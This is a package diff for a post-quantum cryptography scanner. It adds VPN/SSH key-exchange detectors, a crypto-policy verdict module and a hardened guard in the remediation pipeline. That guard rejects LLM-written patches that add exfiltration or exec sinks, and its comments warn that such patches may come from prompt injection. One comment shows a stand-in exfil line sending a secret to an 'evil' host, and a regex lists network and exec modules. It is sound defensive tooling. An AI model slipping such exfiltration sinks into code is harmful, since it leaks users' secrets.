@quantakrypto/core 0.4.3 → 0.4.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (163) hide show
  1. package/dist/cbom-merge.d.ts +9 -0
  2. package/dist/cbom-merge.d.ts.map +1 -0
  3. package/dist/cbom-merge.js +99 -0
  4. package/dist/cbom-merge.js.map +1 -0
  5. package/dist/comments.d.ts +4 -3
  6. package/dist/comments.d.ts.map +1 -1
  7. package/dist/comments.js +53 -33
  8. package/dist/comments.js.map +1 -1
  9. package/dist/dependencies.d.ts.map +1 -1
  10. package/dist/dependencies.js +1 -1
  11. package/dist/dependencies.js.map +1 -1
  12. package/dist/detect-utils.d.ts +5 -1
  13. package/dist/detect-utils.d.ts.map +1 -1
  14. package/dist/detect-utils.js +11 -2
  15. package/dist/detect-utils.js.map +1 -1
  16. package/dist/detectors/c.d.ts +4 -2
  17. package/dist/detectors/c.d.ts.map +1 -1
  18. package/dist/detectors/c.js +192 -1
  19. package/dist/detectors/c.js.map +1 -1
  20. package/dist/detectors/cicd.d.ts +27 -0
  21. package/dist/detectors/cicd.d.ts.map +1 -0
  22. package/dist/detectors/cicd.js +116 -0
  23. package/dist/detectors/cicd.js.map +1 -0
  24. package/dist/detectors/cloud-kms.d.ts +21 -0
  25. package/dist/detectors/cloud-kms.d.ts.map +1 -0
  26. package/dist/detectors/cloud-kms.js +57 -0
  27. package/dist/detectors/cloud-kms.js.map +1 -0
  28. package/dist/detectors/cloudformation.d.ts +30 -0
  29. package/dist/detectors/cloudformation.d.ts.map +1 -0
  30. package/dist/detectors/cloudformation.js +170 -0
  31. package/dist/detectors/cloudformation.js.map +1 -0
  32. package/dist/detectors/database.d.ts +17 -0
  33. package/dist/detectors/database.d.ts.map +1 -0
  34. package/dist/detectors/database.js +60 -0
  35. package/dist/detectors/database.js.map +1 -0
  36. package/dist/detectors/dnssec.d.ts +55 -0
  37. package/dist/detectors/dnssec.d.ts.map +1 -0
  38. package/dist/detectors/dnssec.js +107 -0
  39. package/dist/detectors/dnssec.js.map +1 -0
  40. package/dist/detectors/elixir.d.ts +20 -0
  41. package/dist/detectors/elixir.d.ts.map +1 -0
  42. package/dist/detectors/elixir.js +195 -0
  43. package/dist/detectors/elixir.js.map +1 -0
  44. package/dist/detectors/java.d.ts.map +1 -1
  45. package/dist/detectors/java.js +1 -1
  46. package/dist/detectors/java.js.map +1 -1
  47. package/dist/detectors/jose.d.ts +20 -0
  48. package/dist/detectors/jose.d.ts.map +1 -0
  49. package/dist/detectors/jose.js +62 -0
  50. package/dist/detectors/jose.js.map +1 -0
  51. package/dist/detectors/jwk.d.ts +25 -0
  52. package/dist/detectors/jwk.d.ts.map +1 -0
  53. package/dist/detectors/jwk.js +95 -0
  54. package/dist/detectors/jwk.js.map +1 -0
  55. package/dist/detectors/k8s.d.ts +17 -0
  56. package/dist/detectors/k8s.d.ts.map +1 -0
  57. package/dist/detectors/k8s.js +85 -0
  58. package/dist/detectors/k8s.js.map +1 -0
  59. package/dist/detectors/mesh.d.ts +35 -0
  60. package/dist/detectors/mesh.d.ts.map +1 -0
  61. package/dist/detectors/mesh.js +109 -0
  62. package/dist/detectors/mesh.js.map +1 -0
  63. package/dist/detectors/messaging.d.ts +16 -0
  64. package/dist/detectors/messaging.d.ts.map +1 -0
  65. package/dist/detectors/messaging.js +72 -0
  66. package/dist/detectors/messaging.js.map +1 -0
  67. package/dist/detectors/pem.js +1 -1
  68. package/dist/detectors/pem.js.map +1 -1
  69. package/dist/detectors/php.d.ts +24 -0
  70. package/dist/detectors/php.d.ts.map +1 -0
  71. package/dist/detectors/php.js +167 -0
  72. package/dist/detectors/php.js.map +1 -0
  73. package/dist/detectors/python.d.ts.map +1 -1
  74. package/dist/detectors/python.js +70 -0
  75. package/dist/detectors/python.js.map +1 -1
  76. package/dist/detectors/rust.d.ts.map +1 -1
  77. package/dist/detectors/rust.js +68 -0
  78. package/dist/detectors/rust.js.map +1 -1
  79. package/dist/detectors/secrets.d.ts +21 -0
  80. package/dist/detectors/secrets.d.ts.map +1 -0
  81. package/dist/detectors/secrets.js +79 -0
  82. package/dist/detectors/secrets.js.map +1 -0
  83. package/dist/detectors/source.d.ts.map +1 -1
  84. package/dist/detectors/source.js +190 -47
  85. package/dist/detectors/source.js.map +1 -1
  86. package/dist/detectors/stateful-hbs.d.ts.map +1 -1
  87. package/dist/detectors/stateful-hbs.js +9 -6
  88. package/dist/detectors/stateful-hbs.js.map +1 -1
  89. package/dist/detectors/terraform.d.ts +21 -0
  90. package/dist/detectors/terraform.d.ts.map +1 -0
  91. package/dist/detectors/terraform.js +123 -0
  92. package/dist/detectors/terraform.js.map +1 -0
  93. package/dist/detectors/vpn.d.ts +22 -0
  94. package/dist/detectors/vpn.d.ts.map +1 -0
  95. package/dist/detectors/vpn.js +99 -0
  96. package/dist/detectors/vpn.js.map +1 -0
  97. package/dist/evidence.d.ts +5 -0
  98. package/dist/evidence.d.ts.map +1 -1
  99. package/dist/evidence.js +5 -0
  100. package/dist/evidence.js.map +1 -1
  101. package/dist/index.d.ts +5 -0
  102. package/dist/index.d.ts.map +1 -1
  103. package/dist/index.js +6 -0
  104. package/dist/index.js.map +1 -1
  105. package/dist/policy.d.ts +67 -0
  106. package/dist/policy.d.ts.map +1 -0
  107. package/dist/policy.js +115 -0
  108. package/dist/policy.js.map +1 -0
  109. package/dist/registry.d.ts.map +1 -1
  110. package/dist/registry.js +30 -0
  111. package/dist/registry.js.map +1 -1
  112. package/dist/remediate-pipeline.d.ts.map +1 -1
  113. package/dist/remediate-pipeline.js +22 -1
  114. package/dist/remediate-pipeline.js.map +1 -1
  115. package/dist/report.d.ts.map +1 -1
  116. package/dist/report.js +7 -0
  117. package/dist/report.js.map +1 -1
  118. package/dist/standards.d.ts +96 -0
  119. package/dist/standards.d.ts.map +1 -0
  120. package/dist/standards.js +107 -0
  121. package/dist/standards.js.map +1 -0
  122. package/dist/types.d.ts +1 -1
  123. package/dist/types.d.ts.map +1 -1
  124. package/dist/types.js.map +1 -1
  125. package/dist/version.d.ts +1 -1
  126. package/dist/version.js +1 -1
  127. package/dist/version.js.map +1 -1
  128. package/package.json +1 -1
  129. package/src/cbom-merge.ts +116 -0
  130. package/src/comments.ts +59 -33
  131. package/src/dependencies.ts +2 -1
  132. package/src/detect-utils.ts +14 -2
  133. package/src/detectors/c.ts +209 -3
  134. package/src/detectors/cicd.ts +158 -0
  135. package/src/detectors/cloud-kms.ts +87 -0
  136. package/src/detectors/cloudformation.ts +215 -0
  137. package/src/detectors/database.ts +88 -0
  138. package/src/detectors/dnssec.ts +186 -0
  139. package/src/detectors/elixir.ts +237 -0
  140. package/src/detectors/java.ts +2 -1
  141. package/src/detectors/jose.ts +94 -0
  142. package/src/detectors/jwk.ts +128 -0
  143. package/src/detectors/k8s.ts +112 -0
  144. package/src/detectors/mesh.ts +154 -0
  145. package/src/detectors/messaging.ts +98 -0
  146. package/src/detectors/pem.ts +1 -1
  147. package/src/detectors/php.ts +225 -0
  148. package/src/detectors/python.ts +71 -0
  149. package/src/detectors/rust.ts +71 -0
  150. package/src/detectors/secrets.ts +114 -0
  151. package/src/detectors/source.ts +235 -68
  152. package/src/detectors/stateful-hbs.ts +9 -6
  153. package/src/detectors/terraform.ts +154 -0
  154. package/src/detectors/vpn.ts +131 -0
  155. package/src/evidence.ts +11 -0
  156. package/src/index.ts +10 -0
  157. package/src/policy.ts +180 -0
  158. package/src/registry.ts +30 -0
  159. package/src/remediate-pipeline.ts +25 -2
  160. package/src/report.ts +7 -0
  161. package/src/standards.ts +186 -0
  162. package/src/types.ts +2 -0
  163. package/src/version.ts +1 -1
@@ -0,0 +1,131 @@
1
+ /**
2
+ * Config detector: classical key exchange in network transport / VPN config —
3
+ * WireGuard, IPsec (strongSwan), and OpenSSH server config. These are the tunnels
4
+ * carrying "communication between things"; their key exchange is classical and so
5
+ * harvest-now-decrypt-later exposed (a recorded tunnel is decryptable once a CRQC
6
+ * exists).
7
+ *
8
+ * Covered (each gated so it only fires inside the relevant config):
9
+ * - **WireGuard** — `[Interface]`/`[Peer]` sections with `PrivateKey`/`PublicKey`.
10
+ * WireGuard's Noise handshake is Curve25519 with NO standard PQC option, so this
11
+ * is an especially sharp finding: it cannot be made quantum-safe without a
12
+ * tunnel-wrapping layer. The private key is treated as sensitive key material.
13
+ * - **IPsec / strongSwan** — IKE/ESP proposals naming classical DH groups
14
+ * (`modp*` = finite-field DH, `ecp*` = ECDH).
15
+ * - **sshd_config / ssh_config** — a `KexAlgorithms` line that offers no PQC hybrid
16
+ * KEX (`sntrup761x25519-*`, `mlkem768x25519-*`). If a PQC KEX IS listed the line
17
+ * is left alone, so a hardened server stays silent.
18
+ */
19
+ import type { Detector, Finding, RuleMeta } from "../types.js";
20
+ import { eachMatch, findingFromRule } from "../detect-utils.js";
21
+ import { CWE_BROKEN_CRYPTO } from "../cwe.js";
22
+
23
+ const RE_WG_KEY = /\b(?:PrivateKey|PublicKey)\s*=\s*[A-Za-z0-9+/]{42,}=/g;
24
+ const RE_IPSEC_MODP = /\bmodp\d+\b/gi;
25
+ const RE_IPSEC_ECP = /\becp\d+(?:bp)?\b/gi;
26
+ const RE_SSHD_KEX = /^[ \t]*KexAlgorithms[ \t]+([^\n]*)/gm;
27
+
28
+ const RULE_WG: RuleMeta = {
29
+ id: "net-wireguard-x25519",
30
+ title: "WireGuard Curve25519 key",
31
+ description: "WireGuard [Interface]/[Peer] key — Curve25519 Noise handshake (no PQC option)",
32
+ category: "key-exchange",
33
+ severity: "high",
34
+ confidence: "high",
35
+ algorithm: "X25519",
36
+ hndl: true,
37
+ cwe: CWE_BROKEN_CRYPTO,
38
+ sensitive: true,
39
+ message:
40
+ "WireGuard tunnel keyed by classical Curve25519 (Noise); WireGuard has no standard post-quantum KEM, so the tunnel is harvest-now-decrypt-later exposed until wrapped by a PQC layer.",
41
+ remediation:
42
+ "Wrap the tunnel in a PQC-hybrid transport (e.g. a TLS 1.3 X25519MLKEM768 layer) or track WireGuard PQC proposals; rotate keys when available.",
43
+ };
44
+ const RULE_IPSEC_DH: RuleMeta = {
45
+ id: "net-ipsec-modp-dh",
46
+ title: "IPsec classical DH group (modp)",
47
+ description: "IPsec/strongSwan IKE/ESP proposal names a finite-field DH group (modp*)",
48
+ category: "key-exchange",
49
+ severity: "medium",
50
+ confidence: "high",
51
+ algorithm: "DH",
52
+ hndl: true,
53
+ cwe: CWE_BROKEN_CRYPTO,
54
+ message:
55
+ "IPsec proposal uses a classical finite-field Diffie-Hellman group (modp*); the tunnel key exchange is harvest-now-decrypt-later exposed.",
56
+ remediation: "Add a PQC/hybrid IKE proposal (ML-KEM) as your IPsec stack supports it.",
57
+ };
58
+ const RULE_IPSEC_EC: RuleMeta = {
59
+ id: "net-ipsec-ecp-ecdh",
60
+ title: "IPsec classical ECDH group (ecp)",
61
+ description: "IPsec/strongSwan IKE/ESP proposal names an elliptic-curve DH group (ecp*)",
62
+ category: "key-exchange",
63
+ severity: "medium",
64
+ confidence: "high",
65
+ algorithm: "ECDH",
66
+ hndl: true,
67
+ cwe: CWE_BROKEN_CRYPTO,
68
+ message:
69
+ "IPsec proposal uses a classical elliptic-curve Diffie-Hellman group (ecp*); the tunnel key exchange is harvest-now-decrypt-later exposed.",
70
+ remediation:
71
+ "Add a PQC/hybrid IKE proposal (X25519MLKEM768 / ML-KEM) as your IPsec stack supports it.",
72
+ };
73
+ const RULE_SSHD_KEX: RuleMeta = {
74
+ id: "net-sshd-classical-kex",
75
+ title: "SSH server offers no PQC key exchange",
76
+ description:
77
+ "sshd_config KexAlgorithms lists only classical key exchange (no sntrup761/mlkem768)",
78
+ category: "key-exchange",
79
+ severity: "medium",
80
+ confidence: "high",
81
+ algorithm: "ECDH",
82
+ hndl: true,
83
+ cwe: CWE_BROKEN_CRYPTO,
84
+ message:
85
+ "SSH server's KexAlgorithms offers only classical key exchange (no sntrup761x25519 / mlkem768x25519); sessions are harvest-now-decrypt-later exposed.",
86
+ remediation: "Add a PQC hybrid KEX: sntrup761x25519-sha512@openssh.com or mlkem768x25519-sha256.",
87
+ };
88
+
89
+ /** True when a KexAlgorithms value already offers a post-quantum hybrid KEX. */
90
+ function offersPqKex(kexLine: string): boolean {
91
+ return /sntrup761x25519|mlkem768/.test(kexLine);
92
+ }
93
+
94
+ /** Detects classical key exchange in WireGuard / IPsec / sshd network config. */
95
+ export const vpnDetector: Detector = {
96
+ id: "network-transport-crypto",
97
+ description: "Classical key exchange in network transport / VPN config (WireGuard, IPsec, sshd)",
98
+ scope: "config",
99
+ language: "any",
100
+ rules: [RULE_WG, RULE_IPSEC_DH, RULE_IPSEC_EC, RULE_SSHD_KEX],
101
+ appliesTo: (f) => {
102
+ const lower = f.toLowerCase();
103
+ const base = lower.split("/").pop() ?? lower;
104
+ return lower.endsWith(".conf") || base === "sshd_config" || base === "ssh_config";
105
+ },
106
+ detect({ file, content }): Finding[] {
107
+ const findings: Finding[] = [];
108
+ const push = (rule: RuleMeta, index: number, length: number) =>
109
+ findings.push(findingFromRule(rule, { file, content, index, matchLength: length }));
110
+
111
+ // WireGuard: gated to a WireGuard config section.
112
+ if (content.includes("[Interface]") || content.includes("[Peer]")) {
113
+ eachMatch(RE_WG_KEY, content, (m) => push(RULE_WG, m.index, m[0].length));
114
+ }
115
+
116
+ // IPsec / strongSwan: gated to a proposal assignment.
117
+ if (/\b(?:ike|esp|proposals?|keyexchange)\s*=/i.test(content)) {
118
+ eachMatch(RE_IPSEC_MODP, content, (m) => push(RULE_IPSEC_DH, m.index, m[0].length));
119
+ eachMatch(RE_IPSEC_ECP, content, (m) => push(RULE_IPSEC_EC, m.index, m[0].length));
120
+ }
121
+
122
+ // sshd_config / ssh_config: KexAlgorithms line with no PQC hybrid offered.
123
+ const base = file.toLowerCase().split("/").pop() ?? "";
124
+ if (base === "sshd_config" || base === "ssh_config") {
125
+ eachMatch(RE_SSHD_KEX, content, (m) => {
126
+ if (!offersPqKex(m[1])) push(RULE_SSHD_KEX, m.index, m[0].length);
127
+ });
128
+ }
129
+ return findings;
130
+ },
131
+ };
package/src/evidence.ts CHANGED
@@ -21,6 +21,8 @@ import { createHash } from "node:crypto";
21
21
  import type { ScanResult } from "./types.js";
22
22
  import { toCbom } from "./cbom.js";
23
23
  import { VERSION } from "./version.js";
24
+ import { buildPolicyMapping } from "./policy.js";
25
+ import type { CryptoPolicy, PolicyMapping } from "./policy.js";
24
26
 
25
27
  /** Stable per-finding record for the evidence body (deterministic per commit). */
26
28
  export interface EvidenceFinding {
@@ -44,6 +46,8 @@ export interface ReadinessReport {
44
46
  tool: { name: "qScan"; version: string };
45
47
  inventory: ScanResult["inventory"];
46
48
  findings: EvidenceFinding[];
49
+ /** §4 policy verdicts, present only when a crypto policy was supplied. */
50
+ policyMapping?: PolicyMapping;
47
51
  cbom: unknown;
48
52
  attestation: {
49
53
  /** sha256 over the canonicalized deterministic body (excludes scanTimeUtc). */
@@ -73,6 +77,8 @@ export interface ReadinessReportOptions {
73
77
  repository?: string;
74
78
  /** Full commit SHA (e.g. from `GITHUB_SHA`); omitted → null. */
75
79
  commit?: string;
80
+ /** Optional org cryptography policy — adds the §4 `policyMapping` verdicts. */
81
+ policy?: CryptoPolicy;
76
82
  }
77
83
 
78
84
  /**
@@ -97,6 +103,10 @@ export function buildReadinessReport(
97
103
  // its CycloneDX envelope carries a volatile timestamp/serial — so it is
98
104
  // EXCLUDED from the hashed body (its integrity follows from its hashed inputs)
99
105
  // to keep the content hash reproducible across scan runs on the same commit.
106
+ // §4: if the org supplied a crypto policy, attest the per-finding verdicts too.
107
+ // Deterministic (same findings + policy → same mapping), so it is hashed.
108
+ const policyMapping = opts.policy ? buildPolicyMapping(result.findings, opts.policy) : undefined;
109
+
100
110
  const hashableBody = {
101
111
  reportType: "quantakrypto-readiness",
102
112
  specVersion: 1,
@@ -108,6 +118,7 @@ export function buildReadinessReport(
108
118
  tool: { name: "qScan", version: VERSION },
109
119
  inventory: result.inventory,
110
120
  findings,
121
+ ...(policyMapping ? { policyMapping } : {}),
111
122
  };
112
123
  const contentHash =
113
124
  "sha256:" +
package/src/index.ts CHANGED
@@ -110,10 +110,16 @@ export type { ReportOptions } from "./report.js";
110
110
  // CycloneDX 1.6 cryptographic bill of materials (CBOM) export.
111
111
  export { toCbom } from "./cbom.js";
112
112
  export type { CycloneDxBom, CbomComponent } from "./cbom.js";
113
+ // Merge multiple CBOMs (code + infra + live endpoints) into one combined BOM.
114
+ export { mergeCboms } from "./cbom-merge.js";
113
115
  // ISO/IEC 27001 A.8.24 evidence-chain readiness report.
114
116
  export { buildReadinessReport } from "./evidence.js";
115
117
  export type { ReadinessReport, EvidenceFinding, ReadinessReportOptions } from "./evidence.js";
116
118
 
119
+ // Cryptography policy → per-finding verdicts (A.8.24 evidence §4).
120
+ export { buildPolicyMapping, parseCryptoPolicy, verdictForAlgorithm } from "./policy.js";
121
+ export type { CryptoPolicy, PolicyVerdict, PolicyMapping, PolicyFindingVerdict } from "./policy.js";
122
+
117
123
  // Remediation lookup (family + tier-aware) and stateful-HBS guidance.
118
124
  export {
119
125
  remediationFor,
@@ -125,6 +131,10 @@ export {
125
131
  } from "./remediation.js";
126
132
  export type { SecurityTier } from "./remediation.js";
127
133
 
134
+ // Post-quantum standards source of truth + review cadence.
135
+ export { PQC_STANDARDS, standardsReviewStatus } from "./standards.js";
136
+ export type { PqcStandards, StandardsCitation, StandardsReviewStatus } from "./standards.js";
137
+
128
138
  // CWE identifier constants.
129
139
  export {
130
140
  CWE_BROKEN_CRYPTO,
package/src/policy.ts ADDED
@@ -0,0 +1,180 @@
1
+ /**
2
+ * Machine-readable cryptography policy → per-finding verdicts for the ISO/IEC
3
+ * 27001 A.8.24 evidence report (docs/compliance/iso27001-a8.24-evidence.md §4).
4
+ *
5
+ * An organization supplies a policy listing which classical algorithm families it
6
+ * prohibits, permits, or is actively transitioning off. `buildPolicyMapping` then
7
+ * flags each qScan finding as `conformant` / `violation` / `transition-pending`
8
+ * against that policy — turning the neutral inventory into audit-ready evidence
9
+ * that the org *assesses* its cryptography against a defined policy.
10
+ *
11
+ * Honesty boundary: without a policy the report stays neutral inventory and the
12
+ * ORG owns the conformance judgment (COMPLIANCE.md §3). The policy is a permit-
13
+ * list: a classical family not named anywhere defaults to a violation (unmanaged
14
+ * crypto is a policy gap), overridable via `defaultVerdict`.
15
+ */
16
+ import type { AlgorithmFamily, Finding } from "./types.js";
17
+
18
+ /** The three verdicts a finding can carry against a policy. */
19
+ export type PolicyVerdict = "conformant" | "violation" | "transition-pending";
20
+
21
+ /** The complete set of algorithm families a policy may reference. */
22
+ const ALGORITHM_FAMILIES: readonly AlgorithmFamily[] = [
23
+ "RSA",
24
+ "ECDH",
25
+ "ECDSA",
26
+ "EdDSA",
27
+ "DH",
28
+ "DSA",
29
+ "X25519",
30
+ "X448",
31
+ "ECIES",
32
+ "unknown",
33
+ ];
34
+
35
+ /** An organization-supplied cryptography policy (from a JSON file). */
36
+ export interface CryptoPolicy {
37
+ /** Human name / version of the policy, recorded in the evidence report. */
38
+ name?: string;
39
+ /** Families the org explicitly accepts (e.g. short-lived signatures) → conformant. */
40
+ permitted?: AlgorithmFamily[];
41
+ /** Families the org prohibits outright → violation. */
42
+ prohibited?: AlgorithmFamily[];
43
+ /** Families being actively migrated, allowed within the window → transition-pending. */
44
+ inTransition?: AlgorithmFamily[];
45
+ /** Optional migration deadline (ISO date / year), recorded for context. */
46
+ transitionDeadline?: string;
47
+ /** Verdict for a family named in none of the lists. Default: `"violation"`. */
48
+ defaultVerdict?: PolicyVerdict;
49
+ }
50
+
51
+ /** One finding's verdict against the policy. */
52
+ export interface PolicyFindingVerdict {
53
+ ruleId: string;
54
+ algorithm: AlgorithmFamily | "unknown";
55
+ file: string;
56
+ line: number;
57
+ verdict: PolicyVerdict;
58
+ reason: string;
59
+ }
60
+
61
+ /** The `policyMapping` block added to the evidence report. */
62
+ export interface PolicyMapping {
63
+ policyName: string | null;
64
+ transitionDeadline: string | null;
65
+ summary: Record<PolicyVerdict, number>;
66
+ findings: PolicyFindingVerdict[];
67
+ }
68
+
69
+ /** Resolve one algorithm family's verdict + a human reason against a policy. */
70
+ export function verdictForAlgorithm(
71
+ algorithm: AlgorithmFamily | undefined,
72
+ policy: CryptoPolicy,
73
+ ): { verdict: PolicyVerdict; reason: string } {
74
+ const algo = algorithm ?? "unknown";
75
+ if (policy.prohibited?.includes(algo)) {
76
+ return { verdict: "violation", reason: `${algo} is prohibited by the policy.` };
77
+ }
78
+ if (policy.inTransition?.includes(algo)) {
79
+ return {
80
+ verdict: "transition-pending",
81
+ reason: `${algo} is being migrated (in the policy's transition set).`,
82
+ };
83
+ }
84
+ if (policy.permitted?.includes(algo)) {
85
+ return { verdict: "conformant", reason: `${algo} is permitted by the policy.` };
86
+ }
87
+ const fallback = policy.defaultVerdict ?? "violation";
88
+ return {
89
+ verdict: fallback,
90
+ reason: `${algo} is not named in the policy (default verdict: ${fallback}).`,
91
+ };
92
+ }
93
+
94
+ /**
95
+ * Map every finding to a policy verdict, with per-verdict counts. Deterministic:
96
+ * the same findings + policy always yield the same mapping (safe to hash in the
97
+ * A.8.24 evidence attestation).
98
+ */
99
+ export function buildPolicyMapping(
100
+ findings: readonly Finding[],
101
+ policy: CryptoPolicy,
102
+ ): PolicyMapping {
103
+ const summary: Record<PolicyVerdict, number> = {
104
+ conformant: 0,
105
+ violation: 0,
106
+ "transition-pending": 0,
107
+ };
108
+ const mapped: PolicyFindingVerdict[] = findings.map((f) => {
109
+ const { verdict, reason } = verdictForAlgorithm(f.algorithm, policy);
110
+ summary[verdict]++;
111
+ return {
112
+ ruleId: f.ruleId,
113
+ algorithm: f.algorithm ?? "unknown",
114
+ file: f.location.file,
115
+ line: f.location.line,
116
+ verdict,
117
+ reason,
118
+ };
119
+ });
120
+ return {
121
+ policyName: policy.name ?? null,
122
+ transitionDeadline: policy.transitionDeadline ?? null,
123
+ summary,
124
+ findings: mapped,
125
+ };
126
+ }
127
+
128
+ /**
129
+ * Validate + normalize a parsed policy object (from an operator's JSON file).
130
+ * Throws a `TypeError` with a clear message on anything malformed — a bad policy
131
+ * file must fail loudly, never silently degrade the evidence verdict.
132
+ */
133
+ export function parseCryptoPolicy(raw: unknown): CryptoPolicy {
134
+ if (!raw || typeof raw !== "object" || Array.isArray(raw)) {
135
+ throw new TypeError("crypto policy must be a JSON object");
136
+ }
137
+ const obj = raw as Record<string, unknown>;
138
+ const validFamilies = new Set<string>(ALGORITHM_FAMILIES);
139
+ const list = (key: string): AlgorithmFamily[] | undefined => {
140
+ const v = obj[key];
141
+ if (v === undefined) return undefined;
142
+ if (!Array.isArray(v))
143
+ throw new TypeError(`policy "${key}" must be an array of algorithm families`);
144
+ for (const item of v) {
145
+ if (typeof item !== "string" || !validFamilies.has(item)) {
146
+ throw new TypeError(
147
+ `policy "${key}" has an unknown algorithm family ${JSON.stringify(item)}; expected one of ${ALGORITHM_FAMILIES.join(", ")}`,
148
+ );
149
+ }
150
+ }
151
+ return v as AlgorithmFamily[];
152
+ };
153
+ const verdicts = new Set<PolicyVerdict>(["conformant", "violation", "transition-pending"]);
154
+ let defaultVerdict: PolicyVerdict | undefined;
155
+ if (obj.defaultVerdict !== undefined) {
156
+ if (
157
+ typeof obj.defaultVerdict !== "string" ||
158
+ !verdicts.has(obj.defaultVerdict as PolicyVerdict)
159
+ ) {
160
+ throw new TypeError(`policy "defaultVerdict" must be one of ${[...verdicts].join(", ")}`);
161
+ }
162
+ defaultVerdict = obj.defaultVerdict as PolicyVerdict;
163
+ }
164
+ if (obj.name !== undefined && typeof obj.name !== "string") {
165
+ throw new TypeError('policy "name" must be a string');
166
+ }
167
+ if (obj.transitionDeadline !== undefined && typeof obj.transitionDeadline !== "string") {
168
+ throw new TypeError('policy "transitionDeadline" must be a string');
169
+ }
170
+ return {
171
+ ...(obj.name !== undefined ? { name: obj.name as string } : {}),
172
+ ...(list("permitted") ? { permitted: list("permitted") } : {}),
173
+ ...(list("prohibited") ? { prohibited: list("prohibited") } : {}),
174
+ ...(list("inTransition") ? { inTransition: list("inTransition") } : {}),
175
+ ...(obj.transitionDeadline !== undefined
176
+ ? { transitionDeadline: obj.transitionDeadline as string }
177
+ : {}),
178
+ ...(defaultVerdict !== undefined ? { defaultVerdict } : {}),
179
+ };
180
+ }
package/src/registry.ts CHANGED
@@ -18,8 +18,23 @@ import { javaDetector } from "./detectors/java.js";
18
18
  import { csharpDetector } from "./detectors/csharp.js";
19
19
  import { rustDetector } from "./detectors/rust.js";
20
20
  import { rubyDetector } from "./detectors/ruby.js";
21
+ import { phpDetector } from "./detectors/php.js";
22
+ import { elixirDetector } from "./detectors/elixir.js";
21
23
  import { cDetector } from "./detectors/c.js";
22
24
  import { pemDetector } from "./detectors/pem.js";
25
+ import { jwkDetector } from "./detectors/jwk.js";
26
+ import { terraformDetector } from "./detectors/terraform.js";
27
+ import { cloudKmsDetector } from "./detectors/cloud-kms.js";
28
+ import { cicdDetector } from "./detectors/cicd.js";
29
+ import { secretsDetector } from "./detectors/secrets.js";
30
+ import { joseDetector } from "./detectors/jose.js";
31
+ import { k8sDetector } from "./detectors/k8s.js";
32
+ import { messagingDetector } from "./detectors/messaging.js";
33
+ import { databaseDetector } from "./detectors/database.js";
34
+ import { cloudformationDetector } from "./detectors/cloudformation.js";
35
+ import { meshDetector } from "./detectors/mesh.js";
36
+ import { dnssecDetector } from "./detectors/dnssec.js";
37
+ import { vpnDetector } from "./detectors/vpn.js";
23
38
  import { statefulHbsDetector } from "./detectors/stateful-hbs.js";
24
39
 
25
40
  /** Normalised scope of a detector (defaults to "source" when undeclared). */
@@ -127,8 +142,23 @@ export const builtinDetectors: Detector[] = [
127
142
  csharpDetector,
128
143
  rustDetector,
129
144
  rubyDetector,
145
+ phpDetector,
146
+ elixirDetector,
130
147
  cDetector,
131
148
  pemDetector,
149
+ jwkDetector,
150
+ terraformDetector,
151
+ cloudKmsDetector,
152
+ cicdDetector,
153
+ secretsDetector,
154
+ joseDetector,
155
+ k8sDetector,
156
+ messagingDetector,
157
+ databaseDetector,
158
+ cloudformationDetector,
159
+ meshDetector,
160
+ dnssecDetector,
161
+ vpnDetector,
132
162
  statefulHbsDetector,
133
163
  ];
134
164
 
@@ -52,8 +52,20 @@ function passesVerify(before: Finding[], after: Finding[], finding: Finding): bo
52
52
  * RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard
53
53
  * runs ONLY on `source: "llm"` patches (codemods are deterministic + trusted).
54
54
  */
55
- const NEW_SINK_RE =
56
- /\b(?:fetch|XMLHttpRequest|WebSocket|navigator\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\s*\(|spawn\s*\(|eval\s*\(|new\s+Function|os\.system|subprocess|Runtime\.getRuntime|require\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"]|import\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"])/g;
55
+ // Node built-in exfil/RCE modules, matched with an OPTIONAL `node:` prefix
56
+ // (idiomatic modern Node — the bare-only form was bypassable) and in BOTH
57
+ // require()/import() call forms AND static `import … from "…"` — the static
58
+ // form has no parens so the old dynamic-only pattern missed it entirely.
59
+ const SINK_MODULES = "child_process|http|https|http2|net|tls|dns|dgram";
60
+ const NEW_SINK_RE = new RegExp(
61
+ "\\b(?:fetch|XMLHttpRequest|WebSocket|navigator\\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\\s*\\(|spawn\\s*\\(|eval\\s*\\(|new\\s+Function|os\\.system|subprocess|Runtime\\.getRuntime" +
62
+ `|require\\s*\\(\\s*['"](?:node:)?(?:${SINK_MODULES})['"]` +
63
+ `|import\\s*\\(\\s*['"](?:node:)?(?:${SINK_MODULES})['"]` +
64
+ `|import\\s+[^;\\n]{0,200}?from\\s*['"](?:node:)?(?:${SINK_MODULES})['"])`,
65
+ "g",
66
+ );
67
+ /** Stateless (non-global) sibling of {@link NEW_SINK_RE} for per-line `.test()`. */
68
+ const NEW_SINK_LINE_RE = new RegExp(NEW_SINK_RE.source);
57
69
 
58
70
  /** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
59
71
  * is localized; a sprawling rewrite is not reviewable as "just the fix". */
@@ -81,6 +93,17 @@ function changedLineCount(before: string, after: string): number {
81
93
 
82
94
  /** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */
83
95
  function llmPatchRisk(before: string, patch: Patch): string | null {
96
+ // Reject any exfil/RCE sink on a line the patch ADDS. More robust than a bare
97
+ // count: it catches a sink SWAPPED into a file that already had one, and does
98
+ // not depend on the total count rising (trimmed line-set membership).
99
+ const beforeLines = new Set(before.split("\n").map((l) => l.trim()));
100
+ const addsSink = patch.newContent
101
+ .split("\n")
102
+ .some((l) => !beforeLines.has(l.trim()) && NEW_SINK_LINE_RE.test(l));
103
+ if (addsSink) {
104
+ return "LLM patch adds a network/exec/eval sink on a new line (possible prompt-injection); rejected — review the diff manually";
105
+ }
106
+ // Backstop: the total sink count must not rise either.
84
107
  if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {
85
108
  return "LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually";
86
109
  }
package/src/report.ts CHANGED
@@ -9,6 +9,7 @@ import { SEVERITY_ORDER, sarifLevel } from "./severity.js";
9
9
  import { ANALYZABLE_LANGUAGES_LABEL } from "./detect-utils.js";
10
10
  import { remediationFor, remediationForTier } from "./remediation.js";
11
11
  import type { SecurityTier } from "./remediation.js";
12
